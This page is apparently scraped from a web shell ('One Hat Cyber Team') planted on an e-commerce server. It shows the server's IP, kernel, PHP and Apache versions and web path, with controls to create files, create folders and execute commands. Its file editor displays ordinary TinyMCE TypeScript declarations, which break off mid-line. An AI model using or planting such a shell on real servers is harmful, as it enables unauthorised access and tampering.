⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.172
Server IP:
13.200.189.69
Server:
Linux ip-172-31-46-210 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.3-4ubuntu2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ecommerce_pg
/
public
/
packages
/
tinymce
/
Edit File: tinymce.d.ts
interface StringPathBookmark { start: string; end?: string; } interface RangeBookmark { rng: Range; } interface IdBookmark { id: string; keep?: boolean; } interface IndexBookmark { name: string; index: number; } interface PathBookmark { start: number[]; end?: number[]; } declare type Bookmark = StringPathBookmark | RangeBookmark | IdBookmark | IndexBookmark | PathBookmark; declare type MappedEvent
= K extends keyof T ? T[K] : any; interface NativeEventMap { 'beforepaste': Event; 'blur': FocusEvent; 'beforeinput': InputEvent; 'click': MouseEvent; 'compositionend': Event; 'compositionstart': Event; 'compositionupdate': Event; 'contextmenu': PointerEvent; 'copy': ClipboardEvent; 'cut': ClipboardEvent; 'dblclick': MouseEvent; 'drag': DragEvent; 'dragdrop': DragEvent; 'dragend': DragEvent; 'draggesture': DragEvent; 'dragover': DragEvent; 'dragstart': DragEvent; 'drop': DragEvent; 'focus': FocusEvent; 'focusin': FocusEvent; 'focusout': FocusEvent; 'input': InputEvent; 'keydown': KeyboardEvent; 'keypress': KeyboardEvent; 'keyup': KeyboardEvent; 'mousedown': MouseEvent; 'mouseenter': MouseEvent; 'mouseleave': MouseEvent; 'mousemove': MouseEvent; 'mouseout': MouseEvent; 'mouseover': MouseEvent; 'mouseup': MouseEvent; 'paste': ClipboardEvent; 'selectionchange': Event; 'submit': Event; 'touchend': TouchEvent; 'touchmove': TouchEvent; 'touchstart': TouchEvent; 'touchcancel': TouchEvent; 'wheel': WheelEvent; } declare type EditorEvent
= T & { target: any; type: string; preventDefault: () => void; isDefaultPrevented: () => boolean; stopPropagation: () => void; isPropagationStopped: () => boolean; stopImmediatePropagation: () => void; isImmediatePropagationStopped: () => boolean; }; interface EventDispatcherSettings { scope?: any; toggleEvent?: (name: string, state: boolean) => void | boolean; beforeFire?:
(args: EditorEvent
) => void; } interface EventDispatcherConstructor
{ readonly prototype: EventDispatcher
; new (settings?: EventDispatcherSettings): EventDispatcher
; isNative: (name: string) => boolean; } declare class EventDispatcher
{ static isNative(name: string): boolean; private readonly settings; private readonly scope; private readonly toggleEvent; private bindings; constructor(settings?: Record
); fire
>(nameIn: K, argsIn?: U): EditorEvent
; on
(name: K, callback: false | ((event: EditorEvent
>) => void), prepend?: boolean, extra?: {}): this; off
(name?: K, callback?: (event: EditorEvent
>) => void): this; once
(name: K, callback: (event: EditorEvent
>) => void, prepend?: boolean): this; has(name: string): boolean; } declare const enum UndoLevelType { Fragmented = "fragmented", Complete = "complete" } interface UndoLevel { type: UndoLevelType; fragments: string[]; content: string; bookmark: Bookmark; beforeBookmark: Bookmark; } interface UndoManager { data: UndoLevel[]; typing: boolean; add: (level?: UndoLevel, event?: EditorEvent
) => UndoLevel; beforeChange: () => void; undo: () => UndoLevel; redo: () => UndoLevel; clear: () => void; reset: () => void; hasUndo: () => boolean; hasRedo: () => boolean; transact: (callback: () => void) => UndoLevel; ignore: (callback: () => void) => void; extra: (callback1: () => void, callback2: () => void) => void; } declare type ArrayCallback
= (x: T, i: number, xs: ReadonlyArray
) => R; declare type ObjCallback
= (value: T, key: string, obj: Record
) => R; declare type ArrayCallback$1
= ArrayCallback
; declare type ObjCallback$1
= ObjCallback
; interface Tools { is: (obj: any, type: string) => boolean; isArray:
(arr: any) => arr is Array
; inArray:
(arr: ArrayLike
, value: T) => number; grep: {
(arr: ArrayLike
| null | undefined, pred?: ArrayCallback$1
): T[];
(arr: Record
| null | undefined, pred?: ObjCallback$1
): T[]; }; trim: (str: string) => string; toArray:
(obj: ArrayLike
) => T[]; hasOwn: (obj: any, name: string) => boolean; makeMap:
(items: ArrayLike
| string, delim?: string | RegExp, map?: Record
) => Record
; each: {
(arr: ArrayLike
| null | undefined, cb: ArrayCallback$1
, scope?: any): boolean;
(obj: Record
| null | undefined, cb: ObjCallback$1
, scope?: any): boolean; }; map: {
(arr: ArrayLike
| null | undefined, cb: ArrayCallback$1
): R[];
(obj: Record
| null | undefined, cb: ObjCallback$1
): R[]; }; extend: (obj: Object, ext: Object, ...objs: Object[]) => any; create: (name: string, p: Object, root?: Object) => void; walk:
(obj: T, f: Function, n?: keyof T, scope?: any) => void; createNS: (name: string, o?: Object) => any; resolve: (path: string, o?: Object) => any; explode: (s: string, d?: string | RegExp) => string[]; _addCacheSuffix: (url: string) => string; } declare type EventUtilsCallback
= (event: EventUtilsEvent
) => void; declare type EventUtilsEvent
= T & { type: string; target: any; isDefaultPrevented: () => boolean; preventDefault: () => void; isPropagationStopped: () => boolean; stopPropagation: () => void; isImmediatePropagationStopped: () => boolean; stopImmediatePropagation: () => void; }; interface EventUtilsConstructor { readonly prototype: EventUtils; new (): EventUtils; Event: EventUtils; } declare class EventUtils { static Event: EventUtils; domLoaded: boolean; events: Record
; private readonly expando; private hasFocusIn; private hasMouseEnterLeave; private mouseEnterLeave; private count; constructor(); bind
(target: any, name: K, callback: EventUtilsCallback
, scope?: any): EventUtilsCallback
; bind
(target: any, names: string, callback: EventUtilsCallback
, scope?: any): EventUtilsCallback
; unbind
(target: any, name: K, callback?: EventUtilsCallback
): this; unbind
(target: any, names: string, callback?: EventUtilsCallback
): this; unbind(target: any): this; fire(target: any, name: string, args?: {}): this; clean(target: any): this; destroy(): void; cancel
(e: EventUtilsEvent
): boolean; private executeHandlers; } declare type DomQuerySelector
= string | T | T[] | DomQuery
; declare type DomQueryInitSelector
= DomQuerySelector
| Window; interface Hook { get:
(elm: T) => string; set:
($elm: DomQuery
, value: string | null) => void; } interface DomQueryConstructor { readonly prototype: DomQuery; attrHooks: Record
; cssHooks: Record
; fn: DomQuery; find: any; expr: { cacheLength: number; createPseudo: Function; match: Record
; attrHandle: {}; find: Record
; relative: Record
; preFilter: Record
; filter: Record
; pseudos: Record
; }; extend: Tools['extend']; isArray: Tools['isArray']; new
(selector?: DomQueryInitSelector
, context?: Node): DomQuery
;
(selector?: DomQueryInitSelector
, context?: Node): DomQuery
; overrideDefaults(callback: () => { context: Node; element: Element; }): DomQueryConstructor; makeArray
(object: T): T[]; inArray
(item: {}, array: T[]): number; each
(obj: T[], callback: (i: number, value: T) => void): void; each
(obj: T, callback: (key: string, obj: T[keyof T]) => void): void; trim(str: string): string; grep
(array: T[], callback: (item: any, i: number) => boolean): T[]; unique
(results: T[]): T[]; text(elem: Node): string; contains(context: any, elem: Node): number; filter(expr: string, elems: Node[], not?: boolean): any; } interface DomQuery
extends ArrayLike
{ init: (selector?: DomQueryInitSelector
, context?: Node) => void; context: T; length: number; selector: string; add(items: Array
| DomQuery
, sort?: boolean): this; addClass(className: string): this; after(content: DomQuerySelector
): this; append(content: DomQuerySelector
): this; appendTo(val: DomQuerySelector
): this; attr(name: string, value: string | boolean | number | null): this; attr(attrs: Record
): this; attr(name: string): string; before(content: DomQuerySelector
): this; children(selector?: string): DomQuery
; clone(): this; closest(selector: DomQuerySelector
): this; contents(selector?: string): DomQuery
; css(name: string, value: string | number | null): this; css(styles: Record
): this; css(name: string): string; each(callback: (i: number, value: T) => void): this; empty(): this; eq(index: number): this; filter(selector: string | ((i: number, item: any) => boolean)): this; find(selector: string): this; first(): this; hasClass(className: string): boolean; hide(): this; html(value: string): this; html(): string; is(selector: string | ((i: number, item: any) => boolean)): boolean; last(): this; next(selector?: string): DomQuery
; nextUntil(selector: DomQuerySelector
, until?: string): DomQuery
; off
(name: K, callback?: EventUtilsCallback
): this; off
(name?: string, callback?: EventUtilsCallback
): this; offset(offset?: {}): {} | this; on
(name: K, callback: EventUtilsCallback
): this; on
(name: string, callback: EventUtilsCallback
): this; parent(selector?: string): DomQuery
; parents(selector?: string): DomQuery
; parentsUntil(selector: DomQuerySelector
, filter?: string): DomQuery
; prepend(content: DomQuerySelector
): this; prependTo(val: DomQuerySelector
): this; prev(selector?: string): DomQuery
; prevUntil(selector: DomQuerySelector
, filter?: string): DomQuery
; prop(name: string, value: string): this; prop(props: Record
): this; prop(name: string): string; push(...items: T[]): number; remove(): this; removeAttr(name: string): this; removeClass(className: string): this; replaceWith(content: DomQuerySelector
): this; show(): this; slice(start: number, end?: number): this; splice(start: number, deleteCount?: number): T[]; sort(compareFn?: (a: T, b: T) => number): T[]; text(value: string): DomQuery; text(): string; toArray(): T[]; toggleClass(className: string, state?: boolean): this; trigger(name: string | { type: string; }): this; unwrap(): this; wrap(content: DomQuerySelector
): this; wrapAll(content: DomQuerySelector
): this; wrapInner(content: string): this; } declare type SchemaType = 'html4' | 'html5' | 'html5-strict'; interface SchemaSettings { block_elements?: string; boolean_attributes?: string; custom_elements?: string; extended_valid_elements?: string; invalid_elements?: string; invalid_styles?: string | Record
; move_caret_before_on_enter_elements?: string; non_empty_elements?: string; schema?: SchemaType; self_closing_elements?: string; short_ended_elements?: string; special?: string; text_block_elements?: string; text_inline_elements?: string; valid_children?: string; valid_classes?: string | Record
; valid_elements?: string; valid_styles?: string | Record
; verify_html?: boolean; whitespace_elements?: string; } interface Attribute { required?: boolean; defaultValue?: string; forcedValue?: string; validValues?: any; } interface DefaultAttribute { name: string; value: string; } interface AttributePattern { defaultValue?: string; forcedValue?: string; pattern: RegExp; required?: boolean; validValues?: Record
; } interface ElementRule { attributes: Record
; attributesDefault?: DefaultAttribute[]; attributesForced?: DefaultAttribute[]; attributesOrder: string[]; attributePatterns?: AttributePattern[]; attributesRequired?: string[]; paddEmpty?: boolean; removeEmpty?: boolean; removeEmptyAttrs?: boolean; } interface SchemaElement extends ElementRule { outputName?: string; parentsRequired?: string[]; pattern?: RegExp; } interface SchemaMap { [name: string]: {}; } interface SchemaRegExpMap { [name: string]: RegExp; } interface Schema { children: Record
; elements: Record
; getValidStyles: () => SchemaMap; getValidClasses: () => SchemaMap; getBlockElements: () => SchemaMap; getInvalidStyles: () => SchemaMap; getShortEndedElements: () => SchemaMap; getTextBlockElements: () => SchemaMap; getTextInlineElements: () => SchemaMap; getBoolAttrs: () => SchemaMap; getElementRule: (name: string) => SchemaElement; getSelfClosingElements: () => SchemaMap; getNonEmptyElements: () => SchemaMap; getMoveCaretBeforeOnEnterElements: () => SchemaMap; getWhiteSpaceElements: () => SchemaMap; getSpecialElements: () => SchemaRegExpMap; isValidChild: (name: string, child: string) => boolean; isValid: (name: string, attr?: string) => boolean; getCustomElements: () => SchemaMap; addValidElements: (validElements: string) => void; setValidElements: (validElements: string) => void; addCustomElements: (customElements: string) => void; addValidChildren: (validChildren: any) => void; } declare type Attributes = Array<{ name: string; value: string; }> & { map: Record
; }; interface AstNodeConstructor { readonly prototype: AstNode; new (name: string, type: number): AstNode; create(name: string, attrs?: Record
): AstNode; } declare class AstNode { static create(name: string, attrs?: Record
): AstNode; name: string; type: number; attributes?: Attributes; value?: string; shortEnded?: boolean; parent?: AstNode; firstChild?: AstNode; lastChild?: AstNode; next?: AstNode; prev?: AstNode; constructor(name: string, type: number); replace(node: AstNode): AstNode; attr(name: string, value: string | null): AstNode; attr(name: Record
): AstNode; attr(name: string): string; clone(): AstNode; wrap(wrapper: AstNode): AstNode; unwrap(): void; remove(): AstNode; append(node: AstNode): AstNode; insert(node: AstNode, refNode: AstNode, before?: boolean): AstNode; getAll(name: string): AstNode[]; empty(): AstNode; isEmpty(elements: SchemaMap, whitespace?: SchemaMap, predicate?: (node: AstNode) => boolean): boolean; walk(prev?: boolean): AstNode; } declare type Content = string | AstNode; declare type ContentFormat = 'raw' | 'text' | 'html' | 'tree'; interface GetContentArgs { format?: ContentFormat; get?: boolean; content?: string; getInner?: boolean; no_events?: boolean; [key: string]: any; } interface SetContentArgs { format?: string; set?: boolean; content?: string; no_events?: boolean; } interface BlobCache { create: (o: string | BlobInfoData, blob?: Blob, base64?: string, name?: string, filename?: string) => BlobInfo; add: (blobInfo: BlobInfo) => void; get: (id: string) => BlobInfo | undefined; getByUri: (blobUri: string) => BlobInfo | undefined; getByData: (base64: string, type: string) => BlobInfo | undefined; findFirst: (predicate: (blobInfo: BlobInfo) => boolean) => BlobInfo | undefined; removeByUri: (blobUri: string) => void; destroy: () => void; } interface BlobInfoData { id?: string; name?: string; filename?: string; blob: Blob; base64: string; blobUri?: string; uri?: string; } interface BlobInfo { id: () => string; name: () => string; filename: () => string; blob: () => Blob; base64: () => string; blobUri: () => string; uri: () => string | undefined; } interface NotificationManagerImpl { open: (spec: NotificationSpec, closeCallback?: () => void) => NotificationApi; close:
(notification: T) => void; reposition:
(notifications: T[]) => void; getArgs:
(notification: T) => NotificationSpec; } interface NotificationSpec { type?: 'info' | 'warning' | 'error' | 'success'; text: string; icon?: string; progressBar?: boolean; timeout?: number; closeButton?: boolean; } interface NotificationApi { close: () => void; progressBar: { value: (percent: number) => void; }; text: (text: string) => void; moveTo: (x: number, y: number) => void; moveRel: (element: Element, rel: 'tc-tc' | 'bc-bc' | 'bc-tc' | 'tc-bc' | 'banner') => void; getEl: () => HTMLElement; settings: NotificationSpec; } interface NotificationManager { open: (spec: NotificationSpec) => NotificationApi; close: () => void; getNotifications: () => NotificationApi[]; } interface UploadFailureOptions { remove?: boolean; } declare type UploadHandler = (blobInfo: BlobInfo, success: (url: string) => void, failure: (err: string, options?: UploadFailureOptions) => void, progress?: (percent: number) => void) => void; interface UploadResult { url: string; blobInfo: BlobInfo; status: boolean; error?: { options: UploadFailureOptions; message: string; }; } interface RangeLikeObject { startContainer: Node; startOffset: number; endContainer: Node; endOffset: number; } declare type ApplyFormat = BlockFormat | InlineFormat | SelectorFormat; declare type RemoveFormat = RemoveBlockFormat | RemoveInlineFormat | RemoveSelectorFormat; declare type Format = ApplyFormat | RemoveFormat; declare type Formats = Record
; declare type FormatAttrOrStyleValue = string | ((vars?: FormatVars) => string); declare type FormatVars = Record
; interface CommonFormat
{ ceFalseOverride?: boolean; classes?: string | string[]; collapsed?: boolean; exact?: boolean; expand?: boolean; links?: boolean; onmatch?: (node: Node, fmt: T, itemName: string) => boolean; onformat?: (elm: Node, fmt: T, vars?: FormatVars, node?: Node | RangeLikeObject) => void; remove_similar?: boolean; } interface CommonApplyFormat
extends CommonFormat
{ attributes?: Record
; preview?: string | boolean; styles?: Record
; toggle?: boolean; wrapper?: boolean; merge_siblings?: boolean; merge_with_parents?: boolean; } interface BlockFormat extends CommonApplyFormat
{ block: string; block_expand?: boolean; } interface InlineFormat extends CommonApplyFormat
{ inline: string; clear_child_styles?: boolean; } interface SelectorFormat extends CommonApplyFormat
{ selector: string; defaultBlock?: string; inherit?: boolean; } interface CommonRemoveFormat
extends CommonFormat
{ remove?: 'none' | 'empty' | 'all'; attributes?: string[] | Record
; styles?: string[] | Record
; split?: boolean; deep?: boolean; mixed?: boolean; } interface RemoveBlockFormat extends CommonRemoveFormat
{ block: string; list_block?: string; } interface RemoveInlineFormat extends CommonRemoveFormat
{ inline: string; preserve_attributes?: string[]; } interface RemoveSelectorFormat extends CommonRemoveFormat
{ selector: string; } type Format_d_Formats = Formats; type Format_d_Format = Format; type Format_d_ApplyFormat = ApplyFormat; type Format_d_BlockFormat = BlockFormat; type Format_d_InlineFormat = InlineFormat; type Format_d_SelectorFormat = SelectorFormat; type Format_d_RemoveFormat = RemoveFormat; type Format_d_RemoveBlockFormat = RemoveBlockFormat; type Format_d_RemoveInlineFormat = RemoveInlineFormat; type Format_d_RemoveSelectorFormat = RemoveSelectorFormat; declare namespace Format_d { export { Format_d_Formats as Formats, Format_d_Format as Format, Format_d_ApplyFormat as ApplyFormat, Format_d_BlockFormat as BlockFormat, Format_d_InlineFormat as InlineFormat, Format_d_SelectorFormat as SelectorFormat, Format_d_RemoveFormat as RemoveFormat, Format_d_RemoveBlockFormat as RemoveBlockFormat, Format_d_RemoveInlineFormat as RemoveInlineFormat, Format_d_RemoveSelectorFormat as RemoveSelectorFormat, }; } declare type StyleFormat = BlockStyleFormat | InlineStyleFormat | SelectorStyleFormat; declare type AllowedFormat = Separator | FormatReference | StyleFormat | NestedFormatting; interface Separator { title: string; } interface FormatReference { title: string; format: string; icon?: string; } interface NestedFormatting { title: string; items: Array
; } interface CommonStyleFormat { name?: string; title: string; icon?: string; } interface BlockStyleFormat extends BlockFormat, CommonStyleFormat { } interface InlineStyleFormat extends InlineFormat, CommonStyleFormat { } interface SelectorStyleFormat extends SelectorFormat, CommonStyleFormat { } interface AlertBannerSpec { type: 'alertbanner'; level: 'info' | 'warn' | 'error' | 'success'; text: string; icon: string; url?: string; } interface ButtonSpec { type: 'button'; text: string; disabled?: boolean; primary?: boolean; name?: string; icon?: string; borderless?: boolean; } interface CheckboxSpec { name: string; type: 'checkbox'; label: string; disabled?: boolean; } interface FormComponentSpec { type: string; name: string; } interface FormComponentWithLabelSpec extends FormComponentSpec { label?: string; } interface CollectionSpec extends FormComponentWithLabelSpec { type: 'collection'; } interface ColorInputSpec extends FormComponentWithLabelSpec { type: 'colorinput'; } interface ColorPickerSpec extends FormComponentWithLabelSpec { type: 'colorpicker'; } interface CustomEditorInit { setValue: (value: string) => void; getValue: () => string; destroy: () => void; } declare type CustomEditorInitFn = (elm: HTMLElement, settings: any) => Promise
; interface CustomEditorOldSpec extends FormComponentSpec { type: 'customeditor'; tag?: string; init: (e: HTMLElement) => Promise
; } interface CustomEditorNewSpec extends FormComponentSpec { type: 'customeditor'; tag?: string; scriptId: string; scriptUrl: string; settings?: any; } declare type CustomEditorSpec = CustomEditorOldSpec | CustomEditorNewSpec; interface DropZoneSpec extends FormComponentWithLabelSpec { type: 'dropzone'; } interface GridSpec { type: 'grid'; columns: number; items: BodyComponentSpec[]; } interface HtmlPanelSpec { type: 'htmlpanel'; html: string; presets?: 'presentation' | 'document'; } interface IframeSpec extends FormComponentWithLabelSpec { type: 'iframe'; sandboxed?: boolean; } interface ImageToolsState { blob: Blob; url: string; } interface ImageToolsSpec extends FormComponentWithLabelSpec { type: 'imagetools'; currentState: ImageToolsState; } interface InputSpec extends FormComponentWithLabelSpec { type: 'input'; inputMode?: string; placeholder?: string; maximized?: boolean; disabled?: boolean; } interface LabelSpec { type: 'label'; label: string; items: BodyComponentSpec[]; } interface ListBoxSingleItemSpec { text: string; value: string; } interface ListBoxNestedItemSpec { text: string; items: ListBoxItemSpec[]; } declare type ListBoxItemSpec = ListBoxNestedItemSpec | ListBoxSingleItemSpec; interface ListBoxSpec extends FormComponentWithLabelSpec { type: 'listbox'; items: ListBoxItemSpec[]; disabled?: boolean; } interface PanelSpec { type: 'panel'; classes?: string[]; items: BodyComponentSpec[]; } interface SelectBoxItemSpec { text: string; value: string; } interface SelectBoxSpec extends FormComponentWithLabelSpec { type: 'selectbox'; items: SelectBoxItemSpec[]; size?: number; disabled?: boolean; } interface SizeInputSpec extends FormComponentWithLabelSpec { type: 'sizeinput'; constrain?: boolean; disabled?: boolean; } interface TableSpec { type: 'table'; header: string[]; cells: string[][]; } interface TextAreaSpec extends FormComponentWithLabelSpec { type: 'textarea'; placeholder?: string; maximized?: boolean; disabled?: boolean; } interface UrlInputSpec extends FormComponentWithLabelSpec { type: 'urlinput'; filetype?: 'image' | 'media' | 'file'; disabled?: boolean; } declare type BodyComponentSpec = BarSpec | ButtonSpec | CheckboxSpec | TextAreaSpec | InputSpec | ListBoxSpec | SelectBoxSpec | SizeInputSpec | IframeSpec | HtmlPanelSpec | UrlInputSpec | DropZoneSpec | ColorInputSpec | GridSpec | ColorPickerSpec | ImageToolsSpec | AlertBannerSpec | CollectionSpec | LabelSpec | TableSpec | PanelSpec | CustomEditorSpec; interface BarSpec { type: 'bar'; items: BodyComponentSpec[]; } interface CommonMenuItemSpec { disabled?: boolean; text?: string; value?: string; meta?: Record
; shortcut?: string; } interface CommonMenuItemInstanceApi { isDisabled: () => boolean; setDisabled: (state: boolean) => void; } interface DialogToggleMenuItemSpec extends CommonMenuItemSpec { type?: 'togglemenuitem'; name: string; } declare type DialogFooterMenuButtonItemSpec = DialogToggleMenuItemSpec; interface BaseDialogFooterButtonSpec { name?: string; align?: 'start' | 'end'; primary?: boolean; disabled?: boolean; icon?: string; } interface DialogFooterNormalButtonSpec extends BaseDialogFooterButtonSpec { type: 'submit' | 'cancel' | 'custom'; text: string; } interface DialogFooterMenuButtonSpec extends BaseDialogFooterButtonSpec { type: 'menu'; text?: string; tooltip?: string; icon?: string; items: DialogFooterMenuButtonItemSpec[]; } declare type DialogFooterButtonSpec = DialogFooterNormalButtonSpec | DialogFooterMenuButtonSpec; interface TabSpec { name?: string; title: string; items: BodyComponentSpec[]; } interface TabPanelSpec { type: 'tabpanel'; tabs: TabSpec[]; } declare type DialogDataItem = any; declare type DialogData = Record
; interface DialogInstanceApi
{ getData: () => T; setData: (data: Partial
) => void; disable: (name: string) => void; focus: (name: string) => void; showTab: (name: string) => void; redial: (nu: DialogSpec
) => void; enable: (name: string) => void; block: (msg: string) => void; unblock: () => void; close: () => void; } interface DialogActionDetails { name: string; value?: any; } interface DialogChangeDetails
{ name: keyof T; } interface DialogTabChangeDetails { newTabName: string; oldTabName: string; } declare type DialogActionHandler
= (api: DialogInstanceApi
, details: DialogActionDetails) => void; declare type DialogChangeHandler
= (api: DialogInstanceApi
, details: DialogChangeDetails
) => void; declare type DialogSubmitHandler
= (api: DialogInstanceApi
) => void; declare type DialogCloseHandler = () => void; declare type DialogCancelHandler
= (api: DialogInstanceApi
) => void; declare type DialogTabChangeHandler
= (api: DialogInstanceApi
, details: DialogTabChangeDetails) => void; declare type DialogSize = 'normal' | 'medium' | 'large'; interface DialogSpec
{ title: string; size?: DialogSize; body: TabPanelSpec | PanelSpec; buttons: DialogFooterButtonSpec[]; initialData?: T; onAction?: DialogActionHandler
; onChange?: DialogChangeHandler
; onSubmit?: DialogSubmitHandler
; onClose?: DialogCloseHandler; onCancel?: DialogCancelHandler
; onTabChange?: DialogTabChangeHandler
; } interface UrlDialogInstanceApi { block: (msg: string) => void; unblock: () => void; close: () => void; sendMessage: (msg: any) => void; } interface UrlDialogActionDetails { name: string; value?: any; } interface UrlDialogMessage { mceAction: string; [key: string]: any; } declare type UrlDialogActionHandler = (api: UrlDialogInstanceApi, actions: UrlDialogActionDetails) => void; declare type UrlDialogCloseHandler = () => void; declare type UrlDialogCancelHandler = (api: UrlDialogInstanceApi) => void; declare type UrlDialogMessageHandler = (api: UrlDialogInstanceApi, message: UrlDialogMessage) => void; interface UrlDialogFooterButtonSpec extends DialogFooterNormalButtonSpec { type: 'cancel' | 'custom'; } interface UrlDialogSpec { title: string; url: string; height?: number; width?: number; buttons?: UrlDialogFooterButtonSpec[]; onAction?: UrlDialogActionHandler; onClose?: UrlDialogCloseHandler; onCancel?: UrlDialogCancelHandler; onMessage?: UrlDialogMessageHandler; } declare type CardContainerDirection = 'vertical' | 'horizontal'; declare type CardContainerAlign = 'left' | 'right'; declare type CardContainerValign = 'top' | 'middle' | 'bottom'; interface CardContainerSpec { type: 'cardcontainer'; items: CardItemSpec[]; direction?: CardContainerDirection; align?: CardContainerAlign; valign?: CardContainerValign; } interface CardImageSpec { type: 'cardimage'; src: string; alt?: string; classes?: string[]; } interface CardTextSpec { type: 'cardtext'; text: string; name?: string; classes?: string[]; } declare type CardItemSpec = CardContainerSpec | CardImageSpec | CardTextSpec; interface CardMenuItemInstanceApi extends CommonMenuItemInstanceApi { } interface CardMenuItemSpec extends Omit
{ type: 'cardmenuitem'; label?: string; items: CardItemSpec[]; onSetup?: (api: CardMenuItemInstanceApi) => (api: CardMenuItemInstanceApi) => void; onAction?: (api: CardMenuItemInstanceApi) => void; } interface SeparatorMenuItemSpec { type?: 'separator'; text?: string; } declare type ColumnTypes = number | 'auto'; declare type SeparatorItemSpec = SeparatorMenuItemSpec; interface AutocompleterItemSpec { type?: 'autocompleteitem'; value: string; text?: string; icon?: string; meta?: Record
; } declare type AutocompleterContents = SeparatorItemSpec | AutocompleterItemSpec | CardMenuItemSpec; interface AutocompleterSpec { type?: 'autocompleter'; ch: string; minChars?: number; columns?: ColumnTypes; matches?: (rng: Range, text: string, pattern: string) => boolean; fetch: (pattern: string, maxResults: number, fetchOptions: Record
) => Promise
; onAction: (autocompleterApi: AutocompleterInstanceApi, rng: any, value: string, meta: Record
) => void; maxResults?: number; highlightOn?: string[]; } interface AutocompleterInstanceApi { hide: () => void; reload: (fetchOptions: Record
) => void; } declare type ContextPosition = 'node' | 'selection' | 'line'; declare type ContextScope = 'node' | 'editor'; interface ContextBarSpec { predicate?: (elem: Element) => boolean; position?: ContextPosition; scope?: ContextScope; } interface BaseToolbarButtonSpec
{ disabled?: boolean; tooltip?: string; icon?: string; text?: string; onSetup?: (api: I) => (api: I) => void; } interface BaseToolbarButtonInstanceApi { isDisabled: () => boolean; setDisabled: (state: boolean) => void; } interface ToolbarButtonSpec extends BaseToolbarButtonSpec
{ type?: 'button'; onAction: (api: ToolbarButtonInstanceApi) => void; } interface ToolbarButtonInstanceApi extends BaseToolbarButtonInstanceApi { } interface BaseToolbarToggleButtonSpec
extends BaseToolbarButtonSpec
{ active?: boolean; } interface BaseToolbarToggleButtonInstanceApi extends BaseToolbarButtonInstanceApi { isActive: () => boolean; setActive: (state: boolean) => void; } interface ToolbarToggleButtonSpec extends BaseToolbarToggleButtonSpec
{ type?: 'togglebutton'; onAction: (api: ToolbarToggleButtonInstanceApi) => void; } interface ToolbarToggleButtonInstanceApi extends BaseToolbarToggleButtonInstanceApi { } interface ContextFormLaunchButtonApi extends BaseToolbarButtonSpec
{ type: 'contextformbutton'; } interface ContextFormLaunchToggleButtonSpec extends BaseToolbarToggleButtonSpec
{ type: 'contextformtogglebutton'; } interface ContextFormButtonInstanceApi extends BaseToolbarButtonInstanceApi { } interface ContextFormToggleButtonInstanceApi extends BaseToolbarToggleButtonInstanceApi { } interface ContextFormButtonSpec extends BaseToolbarButtonSpec
{ type?: 'contextformbutton'; primary?: boolean; onAction: (formApi: ContextFormInstanceApi, api: ContextFormButtonInstanceApi) => void; } interface ContextFormToggleButtonSpec extends BaseToolbarToggleButtonSpec
{ type?: 'contextformtogglebutton'; onAction: (formApi: ContextFormInstanceApi, buttonApi: ContextFormToggleButtonInstanceApi) => void; primary?: boolean; } interface ContextFormInstanceApi { hide: () => void; getValue: () => string; } interface ContextFormSpec extends ContextBarSpec { type?: 'contextform'; initValue?: () => string; label?: string; launch?: ContextFormLaunchButtonApi | ContextFormLaunchToggleButtonSpec; commands: Array
; } interface ContextToolbarSpec extends ContextBarSpec { type?: 'contexttoolbar'; items: string; } interface ChoiceMenuItemSpec extends CommonMenuItemSpec { type?: 'choiceitem'; icon?: string; } interface ChoiceMenuItemInstanceApi extends CommonMenuItemInstanceApi { isActive: () => boolean; setActive: (state: boolean) => void; } interface ContextMenuItem { text: string; icon?: string; type?: 'item'; onAction: () => void; } interface ContextSubMenu { type: 'submenu'; text: string; icon?: string; getSubmenuItems: () => string | Array
; } declare type ContextMenuContents = string | ContextMenuItem | SeparatorMenuItemSpec | ContextSubMenu; interface ContextMenuApi { update: (element: Element) => string | Array
; } interface FancyMenuItemSpec { type: 'fancymenuitem'; fancytype: string; onAction: (data: any) => void; } interface MenuItemSpec extends CommonMenuItemSpec { type?: 'menuitem'; icon?: string; onSetup?: (api: MenuItemInstanceApi) => (api: MenuItemInstanceApi) => void; onAction?: (api: MenuItemInstanceApi) => void; } interface MenuItemInstanceApi extends CommonMenuItemInstanceApi { } declare type NestedMenuItemContents = string | MenuItemSpec | NestedMenuItemSpec | ToggleMenuItemSpec | SeparatorMenuItemSpec | FancyMenuItemSpec; interface NestedMenuItemSpec extends CommonMenuItemSpec { type?: 'nestedmenuitem'; icon?: string; getSubmenuItems: () => string | Array
; onSetup?: (api: NestedMenuItemInstanceApi) => (api: NestedMenuItemInstanceApi) => void; } interface NestedMenuItemInstanceApi extends CommonMenuItemInstanceApi { } interface ToggleMenuItemSpec extends CommonMenuItemSpec { type?: 'togglemenuitem'; icon?: string; active?: boolean; onSetup?: (api: ToggleMenuItemInstanceApi) => void; onAction: (api: ToggleMenuItemInstanceApi) => void; } interface ToggleMenuItemInstanceApi extends CommonMenuItemInstanceApi { isActive: () => boolean; setActive: (state: boolean) => void; } type PublicDialog_d_AlertBannerSpec = AlertBannerSpec; type PublicDialog_d_BarSpec = BarSpec; type PublicDialog_d_BodyComponentSpec = BodyComponentSpec; type PublicDialog_d_ButtonSpec = ButtonSpec; type PublicDialog_d_CheckboxSpec = CheckboxSpec; type PublicDialog_d_CollectionSpec = CollectionSpec; type PublicDialog_d_ColorInputSpec = ColorInputSpec; type PublicDialog_d_ColorPickerSpec = ColorPickerSpec; type PublicDialog_d_CustomEditorSpec = CustomEditorSpec; type PublicDialog_d_CustomEditorInit = CustomEditorInit; type PublicDialog_d_CustomEditorInitFn = CustomEditorInitFn; type PublicDialog_d_DialogData = DialogData; type PublicDialog_d_DialogSize = DialogSize; type PublicDialog_d_DialogSpec<_0> = DialogSpec<_0>; type PublicDialog_d_DialogInstanceApi<_0> = DialogInstanceApi<_0>; type PublicDialog_d_DialogFooterButtonSpec = DialogFooterButtonSpec; type PublicDialog_d_DialogActionDetails = DialogActionDetails; type PublicDialog_d_DialogChangeDetails<_0> = DialogChangeDetails<_0>; type PublicDialog_d_DialogTabChangeDetails = DialogTabChangeDetails; type PublicDialog_d_DropZoneSpec = DropZoneSpec; type PublicDialog_d_GridSpec = GridSpec; type PublicDialog_d_HtmlPanelSpec = HtmlPanelSpec; type PublicDialog_d_IframeSpec = IframeSpec; type PublicDialog_d_ImageToolsSpec = ImageToolsSpec; type 